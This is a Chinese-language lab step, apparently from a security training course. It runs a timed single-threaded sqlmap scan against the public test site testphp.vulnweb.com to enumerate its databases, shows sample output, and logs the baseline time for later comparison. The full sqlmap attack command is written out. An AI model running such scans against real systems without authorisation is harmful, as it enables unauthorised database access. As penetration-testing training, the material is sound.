执行单线程基线扫描
在此步骤中,你将执行一次基本的 sqlmap 扫描,使用默认的单线程设置。这将作为我们衡量后续步骤中性能改进的基线。我们将使用 time 命令来精确测量扫描的持续时间。
首先,在你的终端中执行以下命令。此命令指示 sqlmap 扫描提供的 URL (-u),枚举数据库 (--dbs),并以非交互模式 (--batch) 运行。我们将把输出重定向到一个日志文件,并使用 time 命令来测量执行时间。
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log
扫描完成后,你将看到大量来自 sqlmap 的输出,最后是时间测量结果。它看起来会像这样:
... (sqlmap output) ...
[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema
[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'
[*] ending @ 22:30:00 /2023-10-27/
real 0m45.123s
user 0m5.456s
sys 0m0.789s
对我们来说最重要的值是 real,它代表了总的实际经过时间。现在,让我们将此结果保存到我们的比较文件 scan_times.log 中。
echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log
最后,查看日志文件的内容以确认基线时间已记录。
cat scan_times.log
你的输出应该显示记录的时间:
Baseline (1 Thread): 0m45.123s